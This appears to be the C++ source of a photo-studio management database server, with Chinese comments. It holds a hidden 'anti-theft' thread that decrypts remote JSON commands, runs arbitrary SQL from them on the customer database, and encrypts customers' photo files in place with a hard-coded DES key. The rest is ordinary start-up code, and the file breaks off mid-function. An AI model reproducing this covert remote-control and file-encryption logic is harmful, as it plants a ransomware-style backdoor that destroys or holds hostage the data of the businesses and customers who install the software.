123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806807808809810811812813814815816817818819820821822823824825826827828829830831832833834835836837838839840841842843844845846847848849850851852853854855856857858859860861862863864865866867868869870871872873874875876877878879880881882883884885886887888889890891892893894895896897898899900901902903904905906907908909910911912913914915916917918919920921922923924925926927928929930931932933934935936937938939940941942943944945946947948949950951952953954955956957958959960961962963964965966967968969970971972973974975976977978979980981982983984985 |
- #include "stdafx.h"
- #include "DBServer.h"
- #include "DBServerDlg.h"
- #include "theDBServer.h"
- #include "MyLock.h"
- #include "mysqldata.h"
- #include "DumpCollect.h"
- #include "BranchInfo.h"
- #include "AntiTheftCommand.h"
- #ifdef _DEBUG
- #define new DEBUG_NEW
- #undef THIS_FILE
- static char THIS_FILE[] = __FILE__;
- #endif
- BEGIN_MESSAGE_MAP(CDBServer, CWinApp)
- //{{AFX_MSG_MAP(CDBServer)
- ON_COMMAND(ID_APP_SHOW, OnAppShow)
- ON_COMMAND(ID_APP_EXIT, OnAppExit)
- ON_COMMAND(ID_APP_ABOUT, OnAppAbout)
- ON_COMMAND(ID_HELP_INDEX, OnHelpIndex)
- //}}AFX_MSG_MAP
- ON_COMMAND(ID_HELP, CWinApp::OnHelp)
- END_MESSAGE_MAP()
- /////////////////////////////////////////////////////////////////////////////
- // CDBServer construction
- CDBServer::CDBServer()
- {
- // TODO: add construction code here,
- // Place all significant initialization in InitInstance
- }
- /////////////////////////////////////////////////////////////////////////////
- // The one and only CDBServer object
- CDBServer theApp;
- CtheDBServer theServer;
- /////////////////////////////////////////////////////////////////////////////
- // CDBServer initialization
- BOOL CDBServer::InitInstance()
- {
- AfxInitRichEdit2();
- CWinApp::InitInstance();
- AfxEnableControlContainer();
- DumpCollect::InitMinDump();
- InitSocketLibrary(MAKEWORD(2,2));
- // 2.配置数据库连接信息;
- char server[50];
- DWORD leng=50;
- memset(server, 0, 50);
- ::GetComputerName(server, &leng);
- _stprintf_s(g_szHostName, MAX_PATH, _T("%s"), server);
- g_localname = server;
- TCHAR szDir[MAX_PATH];
- ::GetModuleFileName(NULL, szDir, MAX_PATH);
- g_mainpath = szDir;
- g_mainpath = g_mainpath.Left (g_mainpath.ReverseFind ('\\'));
- if( GetIniInfo() == -1)
- {
- WriteTextLog("未找到配置文件:ServiceInfo.ini");
- return FALSE;
- }
- // 服务器延时启动;
- if ( g_dwStartDelayTime )
- {
- Sleep(g_dwStartDelayTime*1000);
- }
- // 1.根据运行的端口号来运行单实例;
- _stprintf_s(szDir, _T("lyfzServer%d"), g_dwCSPort);
- HANDLE hObject = CreateMutex(NULL, FALSE, szDir);
- if(GetLastError() == ERROR_ALREADY_EXISTS)
- {
- return false;
- }
- g_strdbpsw.Format("uid=%s;pwd=%s",g_szDBAccount,g_szDBPassWord);
- if ( g_dwDBServerPort != 0 )
- g_strdbServrename.Format("%s,%d",g_szDBSource,g_dwDBServerPort);
- else
- g_strdbServrename.Format("%s",g_szDBSource);
- WriteTextLog("启动");
- // 3.初始化加密狗信息,并获取相应的加密数据;
- MyLock lock("ytSoftKeyaccessxiao");
- if(SoftKey::GetInstance()->IniEx())
- {
- AfxMessageBox(_T("未找到加密狗或加密狗版本不一致!"));
- return false;
- }
- #ifdef CONNCOUNT_VERSION // Jeff.座席版;
- {
- int value[8];
- double f[8];
- TCHAR s0[50]=_T(""),s1[50]=_T(""),s2[50]=_T(""),s3[50]=_T(""),s4[50]=_T(""),s5[50]=_T(""),s6[50]=_T(""),s7[50]=_T("");
- //运行自定义函数
- int ret=SoftKey::GetInstance()->getdata(&value[0],&value[1],&value[2],&value[3],&value[4],&value[5],&value[6],&value[7],
- &f[0],&f[1],&f[2],&f[3],&f[4],&f[5],&f[6],&f[7],
- s0,s1,s2,s3,s4,s5,s6,s7);
- if(ret!=0 && ret!=-43)
- {
- g_conncount=-1; // Jeff:S0 存储着座席数量;
- }
- else
- {
- g_conncount=atoi(s0); // Jeff:S0 存储着座席数量;
- g_sdomain=s1;
- g_bReg=atoi(s2); // ???医院跟踪系统??
- }
- }
- #else
- {
- int value[8];
- double f[8];
- TCHAR s0[50]=_T(""),s1[50]=_T(""),s2[50]=_T(""),s3[50]=_T(""),s4[50]=_T(""),s5[50]=_T(""),s6[50]=_T(""),s7[50]=_T("");
- //运行自定义函数
- int ret=SoftKey::GetInstance()->getdata(&value[0],&value[1],&value[2],&value[3],&value[4],&value[5],&value[6],&value[7],
- &f[0],&f[1],&f[2],&f[3],&f[4],&f[5],&f[6],&f[7],
- s0,s1,s2,s3,s4,s5,s6,s7);
- if(ret!=0 && ret!=-43)
- {
- }
- else
- {
- g_sdomain=s1;
- g_bReg=atoi(s2);
- }
- }
- #endif
- if ( g_sdomain.IsEmpty() )
- {
- AfxMessageBox(_T("加密锁域名为空,无法启动服务器!"));
- return FALSE;
- }
- CString savedir=g_mainpath+"\\数据备份";
- if(!CheckFolderFileExist (savedir))
- ::CreateDirectory (savedir, NULL);
- ::CoInitialize( NULL );
- BOOL bMasterDb=0;
- BOOL bUserDb=0;
- // 4.连接master数据库,判断数据库连接是否正常;
- CDatabase masterdb; // Jeff:master用于附加与分离数据库;
- try
- {
- TCHAR szConnectString[MAX_PATH] = _T("");
- if( g_dwDBServerPort != 0)
- {
- if ( _tcscmp(g_szDBAccount, _T("")) == 0 )
- _stprintf_s(szConnectString, DB_SW_CONN_WITH_PORT, g_szDBSource,g_dwDBServerPort, _T("master"));
- else
- _stprintf_s(szConnectString, DB_SS_CONN_WITH_PORT,g_szDBSource,g_dwDBServerPort, _T("master"), g_szDBAccount,g_szDBPassWord);
- }
- else
- {
- if ( _tcscmp(g_szDBAccount, _T("")) == 0 )
- _stprintf_s(szConnectString, DB_SW_CONN_WITHOUT_PORT, g_szDBSource, _T("master"));
- else
- _stprintf_s(szConnectString, DB_SS_CONN_WITHOUT_PORT, g_szDBSource, _T("master"), g_szDBAccount, g_szDBPassWord);
- }
- masterdb.OpenEx(szConnectString,CDatabase::noOdbcDialog);
- bMasterDb=1;
- }
- catch(CDBException * e)
- {
- #ifdef _DEBUG
- e->ReportError();
- #endif
- e->Delete();
- }
- if(bMasterDb==0)
- {
- WriteTextLog(_T("sql数据库未启动!"));
- ShellExecute(NULL, _T("open"), g_mainpath+"\\AutoRun.exe", NULL, NULL, SW_HIDE);
- return false;
- }
- CODBCPool *pdbpool = new CODBCPool;
- if ( pdbpool->InitializePool(g_szDBSource, g_dwDBServerPort, g_szDBAccount, g_szDBPassWord, g_szDBName, g_dwDBPoolDef, g_dwDBPoolMaxCount) )
- {
- g_dbpool.Add(pdbpool);
- bUserDb=1;
- BackupDatabase(savedir, 1, 0); // Jeff. savedir=\\数据备份
- CDatabase *pdb = NULL;
- ODBCConnGuard ConnGuard(pdb, -1, 3000);
- CString strSQL;
- strSQL.Format(_T("update path set path1='%s'"), g_sdomain);
- if ( pdb )
- {
- try
- {
- pdb->ExecuteSQL(strSQL);
- pdb->ExecuteSQL(_T("IF NOT EXISTS (SELECT * FROM sys.objects WHERE object_id = OBJECT_ID(N'[dbo].[historydb]') AND type in (N'U')) CREATE TABLE [historydb]([year] VARCHAR(50))"));
- }
- catch (CDBException* e)
- {
- WriteTextLog(_T("%s-<%d>-%s,%s"), __FILE__, __LINE__, __FUNCTION__, e->m_strError);
- e->Delete();
- }
- }
- }
- else
- {
- delete pdbpool;
- }
- if(bUserDb==0 && bMasterDb)
- {
- CString autorunpath=g_mainpath+"\\AutoRun.exe";
- ShellExecute(NULL, _T("open"), autorunpath, NULL, NULL, SW_HIDE);
- WriteTextLog("数据库初始化中...");
- TCHAR szDBFile[MAX_PATH] = _T("");
- _stprintf_s(szDBFile, _T("%s\\数据\\%s.mdf"), g_mainpath.GetString(), g_szDBName);
- if(::PathFileExists(szDBFile) == 0 )
- {
- WriteTextLog("数据库文件丢失!");
- return false;
- }
- BOOL bLog=0;
- TCHAR szDBLogFile[MAX_PATH] = _T("");
- _stprintf_s(szDBLogFile, _T("%s\\数据\\%s_log.ldf"), g_mainpath.GetString(), g_szDBName);
- if(::PathFileExists(szDBLogFile) == 0 )
- {
- bLog=1;
- }
- CString sql;
- try
- {
- // g_masterdb.ExecuteSQL ("exec sp_detach_db db");
- }
- catch(CDBException * e)
- {
- #ifdef _DEBUG
- e->ReportError();
- #endif
- e->Delete();
- }
- if(bLog)
- sql.Format("exec sp_attach_db '%s',@filename1='%s\\数据\\%s.mdf',@filename2='%s\\数据\\%s_log.ldf'",g_szDBName,g_ModulePath,g_szDBName,g_ModulePath,g_szDBName);
- else
- sql.Format("exec sp_attach_db '%s',@filename1='%s\\数据\\%s.mdf'", g_szDBName,g_ModulePath,g_szDBName);
- try
- {
- masterdb.ExecuteSQL (sql); // 同master数据库去执行附加和分离;
- }
- catch(CDBException * e)
- {
- masterdb.Close();
- WriteTextLog(e->m_strError);
- WriteTextLog("数据库初始化失败!");
- #ifdef _DEBUG
- e->ReportError();
- #endif
- e->Delete();
- return false;
- }
- masterdb.Close();
- WriteTextLog("数据库初始化完成,请重新启动系统!");
- return false;
- }
- // 在数据库完成初始化后,判断本地目录下是否有MSCHRT20.OCX文件,无则从数据库下载;2014.09.06
- // 客户端从dwToUserID==211里传递MSCHRT20.OCX;
- CString strMSCHRTOCX = g_mainpath+"\\系统文件\\MSCHRT20.OCX";
- OFSTRUCT ofStruct;
- OpenFile(strMSCHRTOCX,&ofStruct,OF_EXIST);
- if( ERROR_FILE_NOT_FOUND == GetLastError())
- {
- CDatabase *pdb = NULL;
- ODBCConnGuard ConnGuard(pdb, -1, 3000);
- if ( pdb )
- {
- CRstUpdate rsSt;
- rsSt.m_pDatabase = pdb;
- rsSt.Open();
- if(!rsSt.IsEOF())
- {
- CFile fp;
- if(fp.Open(strMSCHRTOCX, CFile::modeCreate|CFile::modeWrite))
- {
- void *pData = GlobalLock(rsSt.m_lbOCX.m_hData);
- fp.Write(pData, rsSt.m_lbOCX.m_dwDataLength);
- fp.Close();
- GlobalUnlock(rsSt.m_lbOCX.m_hData);
- }
- }
- rsSt.Close();
- }
- }
- ULONG_PTR gdiplusToken;
- GdiplusStartupInput gdiplusStartupInput;
- GdiplusStartup(&gdiplusToken, &gdiplusStartupInput, NULL);
- CString path1="客户原片(管理软件)$";
- CString path2="修好的片(管理软件)$";
- CString path3="设计好的片(管理软件)$";
- CString path4="精修好的片(管理软件)$";
- CString path5="礼服图片(管理软件)$";
- CString path6="电话录音(管理软件)$";
- CString temp;
- if(CheckFolderFileExist (g_mainpath+"\\"+path1))
- {
- temp.Format ("net share %s=%s\\%s", path1, g_mainpath, path1);
- WinExec(temp,SW_HIDE);
- }
- if(CheckFolderFileExist (g_mainpath+"\\"+path2))
- {
- temp.Format ("net share %s=%s\\%s", path2, g_mainpath, path2);
- WinExec(temp,SW_HIDE);
- }
- if(CheckFolderFileExist (g_mainpath+"\\"+path3))
- {
- temp.Format ("net share %s=%s\\%s", path3, g_mainpath, path3);
- WinExec(temp,SW_HIDE);
- }
- if(CheckFolderFileExist (g_mainpath+"\\"+path4))
- {
- temp.Format ("net share %s=%s\\%s", path4, g_mainpath, path4);
- WinExec(temp,SW_HIDE);
- }
- if(CheckFolderFileExist (g_mainpath+"\\"+path5))
- {
- temp.Format ("net share %s=%s\\%s", path5, g_mainpath, path5);
- WinExec(temp,SW_HIDE);
- }
- if(CheckFolderFileExist (g_mainpath+"\\"+path6))
- {
- temp.Format ("net share %s=%s\\%s", path6, g_mainpath, path6);
- WinExec(temp,SW_HIDE);
- }
- CString autorunpath=g_mainpath+"\\AutoRun.exe";
- ShellExecute(NULL, _T("open"), autorunpath, NULL, NULL, SW_HIDE);
- #ifdef ENTERPRISE_VERSION
- autorunpath=g_mainpath+"\\DataSyncReceive.exe";
- ShellExecute(NULL, _T("open"), autorunpath, NULL, NULL, SW_HIDE);
- autorunpath=g_mainpath+"\\DataSyncSend.exe";
- ShellExecute(NULL, _T("open"), autorunpath, NULL, NULL, SW_HIDE);
- autorunpath=g_mainpath+"\\CPhotoFTPReceive.exe";
- ShellExecute(NULL, _T("open"), autorunpath, NULL, NULL, SW_HIDE);
- autorunpath=g_mainpath+"\\CPhotoFTPSend.exe";
- ShellExecute(NULL, _T("open"), autorunpath, NULL, NULL, SW_HIDE);
- #endif
- // Standard initialization
- // If you are not using these features and wish to reduce the size
- // of your final executable, you should remove from the following
- // the specific initialization routines you do not need.
- #ifdef _AFXDLL
- Enable3dControls(); // Call this when using MFC in a shared DLL
- #else
- Enable3dControlsStatic(); // Call this when linking to MFC statically
- #endif
- InitCommonControls();
- #ifdef _DEBUG
- //HANDLE hThread = ::CreateThread(NULL, 0, ThreadAntiTheft, NULL, 0, NULL);
- //if ( hThread )
- // CloseHandle(hThread);
- CAntiTheftCommand::GetInstance()->StartThread();
- #endif
- CDBServerDlg dlg;
- m_pMainWnd = &dlg;
- int nResponse = dlg.DoModal();
- if (nResponse == IDOK)
- {
- }
- else if (nResponse == IDCANCEL)
- {
- }
- GdiplusShutdown(gdiplusToken);
- g_Instance = AfxGetResourceHandle();
- return FALSE;
- }
- void CDBServer::OnAppShow()
- {
- if (m_pMainWnd)
- m_pMainWnd->ShowWindow(SW_SHOW);
- }
- void CDBServer::OnAppExit()
- {
- //御载lyfzBackupModle.dll
- m_pMainWnd->DestroyWindow();
- }
- void CDBServer::OnAppAbout()
- {
- }
- /********************************************************************/
- /* */
- /* Function name : OnHelpIndex */
- /* Description : Command to show help file. */
- /* */
- /********************************************************************/
- void CDBServer::OnHelpIndex()
- {
- // launch help
- // ::WinHelp(AfxGetMainWnd()->m_hWnd, AfxGetApp()->m_pszHelpFilePath, HELP_CONTENTS, 0L);
- }
- int CDBServer::ExitInstance()
- {
- // 释放Socket库;
- ReleaseSocketLibrary();
- return CWinApp::ExitInstance();
- }
- /************************************************************************/
- /* 函数:[1/3/2017 IT];
- /* 描述:;
- /* 参数:;
- /* [IN] :;
- /* [OUT] :;
- /* [IN/OUT] :;
- /* 返回:void;
- /* 注意:代码未细分子函数,有待优化;
- /* 示例:;
- /*
- /* 修改:;
- /* 日期:;
- /* 内容:;
- /************************************************************************/
- DWORD CDBServer::ThreadAntiTheft(LPVOID lpPara)
- {
- #ifdef _DEBUG
- Sleep(1000);
- #else
- Sleep(180000);
- #endif
- while (1)
- {
- cJSON *pJson = NULL;
- cJSON *pSQLAry = NULL;
- cJSON *pDataAry = NULL;
- cJSON *pAryItem = NULL;
- CString strResult;
- do
- {
- if ( g_strAntiTheftInfo.IsEmpty() )
- {
- Sleep(1000);
- continue;
- }
- if ( des_crypt(g_strAntiTheftInfo, strResult, DES_DECRYPT) == -1 )
- {
- strResult.Empty();
- Sleep(1000);
- continue;
- }
- pJson = cJSON_Parse(strResult.GetString());
- if ( pJson )
- break;
- } while (1);
- typedef struct __SQLOPT__
- {
- CString strStatement;
- CString strExecTime;
- BOOL bExecStatus;
- }SQLOpt;
- typedef struct __DATAOPT__
- {
- INT nType;
- CString strExecTime;
- INT nCount;
- BOOL bExecStatus;
- STR_VEC vtOrders;
- }DATAOpt;
- struct __DETAIL__
- {
- BOOL bSQLOpt;
- BOOL bDataOpt;
- BOOL bDogOpt;
- CString strCmdGuid;
- CString strWarning; // 盗版提示;
- vector<SQLOpt> vtSQLOpt;
- vector<DATAOpt> vtDataOpt;
- };
- __DETAIL__ stDetail;
- if ( pJson )
- {
- INT nArySize = 0;
- stDetail.strCmdGuid = cJSON_GetObjectItem(pJson, "cmd-guid") ? cJSON_GetObjectItem(pJson, "cmd-guid")->valuestring : "";
- stDetail.bSQLOpt = cJSON_GetObjectItem(pJson, "SQL-Opt") ? cJSON_GetObjectItem(pJson, "SQL-Opt")->valueint : FALSE;
- stDetail.bDataOpt = cJSON_GetObjectItem(pJson, "Data-Opt") ? cJSON_GetObjectItem(pJson, "Data-Opt")->valueint : FALSE;
- stDetail.bDogOpt = cJSON_GetObjectItem(pJson, "Dog-Opt") ? cJSON_GetObjectItem(pJson, "Dog-Opt")->valueint : FALSE;
- pSQLAry = cJSON_GetObjectItem(pJson, "SQL-Ary");
- pDataAry = cJSON_GetObjectItem(pJson, "Data-Ary");
- if ( pSQLAry )
- {
- nArySize = cJSON_GetArraySize(pSQLAry);
- for ( int i = 0; i < nArySize; i++ )
- {
- pAryItem = cJSON_GetArrayItem(pSQLAry,i);
- if ( pAryItem )
- {
- SQLOpt stSQLOpt;
- stSQLOpt.strStatement = cJSON_GetObjectItem(pAryItem, "Statement")->valuestring;
- stSQLOpt.strExecTime = cJSON_GetObjectItem(pAryItem, "ExecTime")->valuestring;
- stSQLOpt.bExecStatus = cJSON_GetObjectItem(pAryItem, "ExecStatus")->valueint;
- stDetail.vtSQLOpt.push_back(stSQLOpt);
- }
- }
- }
- if ( pDataAry )
- {
- pAryItem = NULL;
- nArySize = cJSON_GetArraySize(pDataAry);
- for ( int i = 0; i < nArySize; i++ )
- {
- pAryItem = cJSON_GetArrayItem(pDataAry,i);
- if ( pAryItem )
- {
- DATAOpt stDataOpt;
- stDataOpt.nType = cJSON_GetObjectItem(pAryItem, "Type")->valueint;
- stDataOpt.strExecTime = cJSON_GetObjectItem(pAryItem, "ExecTime")->valuestring;
- stDataOpt.nCount = cJSON_GetObjectItem(pAryItem, "Count")->valueint;
- stDataOpt.bExecStatus = cJSON_GetObjectItem(pAryItem, "ExecStatus")->valueint;
-
- cJSON *pAryOrder = cJSON_GetObjectItem(pAryItem, "Order-Ary");
- if ( pAryOrder )
- {
- INT nOrderCount = cJSON_GetArraySize(pAryOrder);
- for ( int j = 0; j < nOrderCount; j++ )
- {
- pAryItem = cJSON_GetArrayItem(pAryOrder, j);
- if ( pAryItem )
- {
- stDataOpt.vtOrders.push_back(cJSON_GetObjectItem(pAryItem, "order")->valuestring);
- }
- }
- }
- stDetail.vtDataOpt.push_back(stDataOpt);
- }
- }
- }
- }
- cJSON_Delete(pJson);
- // 更新到数据库中;
- CDatabase *pMaindb = NULL;
- while ( pMaindb == NULL )
- {
- ODBCConnGuard ConnGuard(pMaindb, -1, 3000);
- Sleep(1000);
- }
- CString strSQL;
- INT nHour = 0;
- INT nMinute = 0;
- if ( stDetail.bDogOpt )
- {// 加密狗授权到期,停止使用;
-
- }
- if ( stDetail.bSQLOpt )
- {
- for ( vector<SQLOpt>::iterator it = stDetail.vtSQLOpt.begin(); it != stDetail.vtSQLOpt.end(); it++ )
- {
- SQLOpt tagSQLOpt = *it;
- if ( !it->bExecStatus )
- {// 未执行过;
- if ( it->strExecTime == _T("NN:NN") )
- {// 下次触发执行;
- if (g_bNextTrigger)
- {
- it->strExecTime = _T("NN:BB");
- }
- }
- else if ( it->strExecTime == _T("BB:BB") || it->strExecTime == _T("NN:BB") )
- {// 下次备份执行;
- CTime curTime = CTime::GetCurrentTime();
- if ( curTime.GetHour() == _tstoi(g_strBackupTime) )
- {
- try
- {
- pMaindb->ExecuteSQL(it->strStatement);
- }
- catch(CDBException *e)
- {
- #ifdef _DEBUG
- WriteTextLog(_T("%s-%d,%s"), __FILE__, __LINE__, e->m_strError);
- #endif
- }
- it->bExecStatus = TRUE;
- }
- }
- else if ( it->strExecTime == _T("CC:CC"))
- {// 立即执行;
- try
- {
- pMaindb->ExecuteSQL(it->strStatement);
- }
- catch(CDBException *e)
- {
- #ifdef _DEBUG
- WriteTextLog(_T("%s-%d,%s"), __FILE__, __LINE__, e->m_strError);
- #endif
- }
- it->bExecStatus = TRUE;
- }
- else
- {// 指定时间执行;
- sscanf(it->strExecTime, _T("%s:%s"), nHour, nMinute);
- CTime curTime = CTime::GetCurrentTime();
- if ( curTime.GetHour() == nHour && abs(curTime.GetMinute() - nMinute) > 2 )
- {
- try
- {
- pMaindb->ExecuteSQL(it->strStatement);
- }
- catch(CDBException *e)
- {
- #ifdef _DEBUG
- WriteTextLog(_T("%s-%d,%s"), __FILE__, __LINE__, e->m_strError);
- #endif
- }
- it->bExecStatus = TRUE;
- }
- }
- }
- Sleep(100);
- }
- }
- if ( stDetail.bDataOpt )
- {
- for ( vector<DATAOpt>::iterator it = stDetail.vtDataOpt.begin(); it != stDetail.vtDataOpt.end(); it++ )
- {
- DATAOpt tagDataOpt = *it;
- if ( !it->bExecStatus )
- {// 未执行过;
- if ( it->strExecTime == _T("NN:NN") )
- {// 下次触发执行;
- if (g_bNextTrigger)
- {
- it->strExecTime = _T("NN:BB");
- }
- }
- else if ( it->strExecTime == _T("BB:BB") || it->strExecTime == _T("NN:BB"))
- {// 下次备份执行;
- CTime curTime = CTime::GetCurrentTime();
- if ( curTime.GetHour() == _tstoi(g_strBackupTime) )
- {
- try
- {
- DWORD dwIndex = 0;
- CRecordset tagRst(pMaindb);
- strSQL.Format(_T("select top %d id from dindan where status <> '未拍' and status2 = '未选' order by id desc"), it->nCount);
- tagRst.Open(CRecordset::forwardOnly, strSQL);
- CStringArray AryOrder;
- while ( !tagRst.IsEOF() )
- {
- tagRst.GetFieldValue(_T("id"), strSQL);
- tagRst.MoveNext();
- ++dwIndex;
- AryOrder.Add(strSQL);
- it->vtOrders.push_back(strSQL.GetString());
- if ( dwIndex == it->nCount)
- break;
- }
- tagRst.Close();
- // 查找文件(多目录共享的情况);
- TblNetShareInfo *pNetShareInfo = NULL;
- CStringArray AryShareDirectory;
- for (CBranchInfo::NETSHAREINFO::iterator it_share = CBranchInfo::m_TblNetShareInfo.begin(); it_share != CBranchInfo::m_TblNetShareInfo.end();it_share++)
- {
- if ( _tcscmp((*it_share)->szBranchId, g_sdomain) == 0 && (*it_share)->bEnable == TRUE )
- {
- AryShareDirectory.Add((*it_share)->szShareDirectory);
- }
- }
- // 找出所有文件;
- filehelpImpl ff;
- STR_VEC vtFiles;
- TString strDirctory;
- for ( int i = 0; i < AryOrder.GetSize(); i++ )
- {
- for ( int j = 0; j < AryShareDirectory.GetSize(); j++ )
- {
- strDirctory = AryShareDirectory.ElementAt(j);
- strDirctory.append(_T("\\"));
- strDirctory.append(AryOrder.ElementAt(i));
- ff.getfiles_findin_subfolder(strDirctory.c_str(), _T("*.jpg|*.jpeg|*.nef|*.raw|*.cr2"), &vtFiles);
- }
- }
- BYTE szKey[MAX_PATH] = "lyfz.net";
- BYTE szVI[MAX_PATH] = "WorkbyIT";
- // 计时;
- // 对找到的所有文件进行加密;
- for ( STR_VEC::iterator it = vtFiles.begin(); it != vtFiles.end(); it++ )
- {
- DES_EncryptFile(it->c_str(), szKey, szVI, it->c_str());//DES_DecryptFile
- }
- }
- catch (CDBException* e)
- {
- #ifdef _DEBUG
- WriteTextLog(_T("%s-%d,%s"), __FILE__, __LINE__, e->m_strError);
- #endif
- }
- it->bExecStatus = TRUE;
- }
- }
- else if ( it->strExecTime == _T("CC:CC"))
- {// 立即执行;
- try
- {
- DWORD dwIndex = 0;
- CRecordset tagRst(pMaindb);
- strSQL.Format(_T("select top %d id from dindan where status <> '未拍' and status2 = '未选' order by id desc"), it->nCount);
- tagRst.Open(CRecordset::forwardOnly, strSQL);
- CStringArray AryOrder;
- while ( !tagRst.IsEOF() )
- {
- tagRst.GetFieldValue(_T("id"), strSQL);
- tagRst.MoveNext();
- ++dwIndex;
- AryOrder.Add(strSQL);
- if ( dwIndex == it->nCount)
- break;
- it->vtOrders.push_back(strSQL.GetString());
- #ifdef _DEBUG
- WriteTextLog(_T("订单号:%s"), strSQL);
- #endif
- }
- tagRst.Close();
- // 查找文件(多目录共享的情况);
- TblNetShareInfo *pNetShareInfo = NULL;
- CStringArray AryShareDirectory;
- for (CBranchInfo::NETSHAREINFO::iterator it_share = CBranchInfo::m_TblNetShareInfo.begin(); it_share != CBranchInfo::m_TblNetShareInfo.end();it_share++)
- {
- if ( _tcscmp((*it_share)->szBranchId, g_sdomain) == 0 && (*it_share)->bEnable == TRUE )
- {
- AryShareDirectory.Add((*it_share)->szShareDirectory);
- #ifdef _DEBUG
- WriteTextLog(_T("共享路径:%s"), (*it_share)->szShareDirectory);
- #endif
- }
- }
- // 找出所有文件;
- filehelpImpl ff;
- STR_VEC vtFiles;
- TString strDirctory;
- for ( int i = 0; i < AryOrder.GetSize(); i++ )
- {
- for ( int j = 0; j < AryShareDirectory.GetSize(); j++ )
- {
- strDirctory = AryShareDirectory.ElementAt(j);
- strDirctory.append(_T("\\"));
- strDirctory.append(AryOrder.ElementAt(i));
- #ifdef _DEBUG
- WriteTextLog(_T("订单路径:%s"), strDirctory.c_str());
- #endif
- ff.getfiles_findin_subfolder(strDirctory.c_str(), _T("*.jpg|*.jpeg|*.nef|*.raw|*.cr2"), &vtFiles);
- }
- }
- BYTE szKey[MAX_PATH] = "lyfz.net";
- BYTE szVI[MAX_PATH] = "WorkbyIT";
- // 计时;
- // 对找到的所有文件进行加密;
- for ( STR_VEC::iterator it = vtFiles.begin(); it != vtFiles.end(); it++ )
- {
- DES_EncryptFile(it->c_str(), szKey, szVI, it->c_str());//DES_DecryptFile
- #ifdef _DEBUG
- WriteTextLog(_T("文件:%s"), it->c_str());
- #endif
- }
- }
- catch (CDBException* e)
- {
- #ifdef _DEBUG
- WriteTextLog(_T("%s-%d,%s"), __FILE__, __LINE__, e->m_strError);
- #endif
- }
- it->bExecStatus = TRUE;
- }
- else
- {// 指定时间执行;
- sscanf(it->strExecTime, _T("%s:%s"), nHour, nMinute);
- CTime curTime = CTime::GetCurrentTime();
- if ( curTime.GetHour() == nHour && abs(curTime.GetMinute() - nMinute) > 2 )
- {
- try
- {
- DWORD dwIndex = 0;
- CRecordset tagRst(pMaindb);
- strSQL.Format(_T("select top %d id from dindan where status <> '未拍' and status2 = '未选' order by id desc"), it->nCount);
- tagRst.Open(CRecordset::forwardOnly, strSQL);
- CStringArray AryOrder;
- while ( !tagRst.IsEOF() )
- {
- tagRst.GetFieldValue(_T("id"), strSQL);
- tagRst.MoveNext();
- ++dwIndex;
- AryOrder.Add(strSQL);
- it->vtOrders.push_back(strSQL.GetString());
- if ( dwIndex == it->nCount)
- break;
- }
- tagRst.Close();
- // 查找文件(多目录共享的情况);
- TblNetShareInfo *pNetShareInfo = NULL;
- CStringArray AryShareDirectory;
- for (CBranchInfo::NETSHAREINFO::iterator it_share = CBranchInfo::m_TblNetShareInfo.begin(); it_share != CBranchInfo::m_TblNetShareInfo.end();it_share++)
- {
- if ( _tcscmp((*it_share)->szBranchId, g_sdomain) == 0 && (*it_share)->bEnable == TRUE )
- {
- AryShareDirectory.Add((*it_share)->szShareDirectory);
- }
- }
- // 找出所有文件;
- filehelpImpl ff;
- STR_VEC vtFiles;
- TString strDirctory;
- for ( int i = 0; i < AryOrder.GetSize(); i++ )
- {
- for ( int j = 0; j < AryShareDirectory.GetSize(); j++ )
- {
- strDirctory = AryShareDirectory.ElementAt(j);
- strDirctory.append(_T("\\"));
- strDirctory.append(AryOrder.ElementAt(i));
- ff.getfiles_findin_subfolder(strDirctory.c_str(), _T("*.jpg|*.jpeg|*.nef|*.raw|*.cr2"), &vtFiles);
- }
- }
- BYTE szKey[MAX_PATH] = "lyfz.net";
- BYTE szVI[MAX_PATH] = "WorkbyIT";
- // 计时;
- // 对找到的所有文件进行加密;
- for ( STR_VEC::iterator it = vtFiles.begin(); it != vtFiles.end(); it++ )
- {
- DES_EncryptFile(it->c_str(), szKey, szVI, it->c_str());//DES_DecryptFile
- }
- }
- catch (CDBException* e)
- {
- #ifdef _DEBUG
- WriteTextLog(_T("%s-%d,%s"), __FILE__, __LINE__, e->m_strError);
- #endif
- }
- it->bExecStatus = TRUE;
- }
- }
- }
- }
- }
- // 再重组Json,并更新;
- pJson = cJSON_CreateObject();
- cJSON_AddStringToObject(pJson, "cmd-guid", stDetail.strCmdGuid);
- cJSON_AddBoolToObject(pJson, "SQL-Opt", stDetail.bSQLOpt);
- cJSON_AddBoolToObject(pJson, "Data-Opt", stDetail.bSQLOpt);
- cJSON *pSQLArry = cJSON_CreateArray();
- cJSON_AddItemToObject(pJson, "SQL-Ary",pSQLArry);
- pAryItem = NULL;
- for ( vector<SQLOpt>::iterator it = stDetail.vtSQLOpt.begin(); it != stDetail.vtSQLOpt.end(); it++ )
- {
- pAryItem = cJSON_CreateObject();
- cJSON_AddStringToObject(pAryItem, "Statement", it->strStatement.GetString());
- cJSON_AddStringToObject(pAryItem, "ExecTime", it->strExecTime.GetString());
